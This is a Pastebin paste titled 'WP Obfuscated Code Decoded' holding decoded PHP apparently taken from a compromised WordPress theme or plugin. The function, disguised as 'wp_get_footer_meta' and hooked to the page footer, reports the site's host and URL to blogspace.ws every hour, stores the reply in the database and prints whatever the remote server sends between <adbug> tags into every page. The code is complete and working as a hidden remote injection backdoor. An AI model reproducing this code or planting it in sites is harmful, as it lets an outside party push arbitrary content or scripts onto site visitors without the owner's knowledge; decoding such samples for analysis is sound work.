travail

WP Obfuscated Code Decoded

Jun 4th, 2011
1,649
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.40 KB | None | 0 0
  1. function wp_get_footer_meta(){
  2. global $wpdb;
  3.  
  4. if($R5C7D265CC=$wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))
  5. $R5C7D265CC=unserialize($R5C7D265CC);
  6. else{
  7. $R5C7D265CC=array(0,'');
  8. $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($R5C7D265CC)."','no')");
  9. }
  10.  
  11. if ((time()-$R5C7D265CC[0])>=3600){
  12. $R46982C5F7 = 'blogspace.ws';
  13. $R5A11E9F6E='/wpam/';
  14. $R3DFD76BC5=@fsockopen($R46982C5F7,80,$R7434E03F9,$RA6E038933,30);
  15. if ($R3DFD76BC5){
  16. @stream_set_timeout($R3DFD76BC5,30);
  17. @fwrite($R3DFD76BC5,"GET $R5A11E9F6E".'?h='.urlencode($_SERVER['HTTP_HOST']).'&u='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $R46982C5F7\r\nConnection: Close\r\n\r\n");$RC074D9812='';
  18. while(!feof($R3DFD76BC5))$RC074D9812.=@fgets($R3DFD76BC5, 1024);
  19. $RC074D9812=trim(strstr($RC074D9812,"\r\n\r\n"));
  20. }
  21. @fclose($R3DFD76BC5);
  22. $R5C7D265CC=array(time(),$RC074D9812);
  23. $wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($R5C7D265CC))."' WHERE option_name='adwb_opt'");
  24. }
  25. if(preg_match('/<adbug>(.+?)<\/adbug>/s',$R5C7D265CC[1],$R230F24483))
  26. echo $R230F24483[1];
  27. }
  28.  
  29. add_action("wp_footer", "wp_get_footer_meta");
Advertisement
Add Comment
Please, Sign In to add comment